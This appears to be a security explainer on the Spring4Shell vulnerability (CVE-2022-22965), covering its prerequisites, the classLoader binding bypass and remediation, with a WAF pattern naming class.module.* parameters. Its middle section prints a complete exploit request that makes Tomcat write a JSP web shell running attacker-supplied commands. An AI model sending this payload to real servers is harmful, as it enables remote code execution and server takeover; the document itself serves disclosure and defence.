Spring4Shell (CVE-2022-22965) & Java Framework RCE Vulnerabilities

1. March 2022: The Spring4Shell Panic

In late March 2022, rumors of a zero-day vulnerability in the Spring Framework spread across cybersecurity channels. When CVE-2022-22965 (Spring4Shell) was officially confirmed with a CVSS score of 9.8, engineering teams feared a repeat of Log4Shell. However, deep architectural analysis revealed strict prerequisites: the target had to run on Java 9+, packaged as a traditional WAR file deployed to a standalone Apache Tomcat container.

2. Java Framework CVE Matrix

3. Technical Root Cause: The Module ClassLoader Bypass

Spring MVC provides automated data binding via @ModelAttribute. While Java 8 blocked class.classLoader, Java 9 introduced the Module System (Project Jigsaw), adding class.module.classLoader. Spring's blacklist failed to account for module.

By chaining property accessors, attackers manipulated Tomcat's AccessLogValve to write a JSP web shell directly into the document root:

POST /cart/update HTTP/1.1
Host: shop.enterprise-retail.com
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7Bjava.io.InputStream%20in%20%3D%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

4. Remediation & Hardening Blueprint

1. Upgrade Spring Framework to 5.3.18+ or 5.2.20+.
2. Standardize on standalone Spring Boot executable JAR deployments with embedded Tomcat.
3. Deploy WAF rules blocking request parameters matching class.module.* or class.classLoader.*.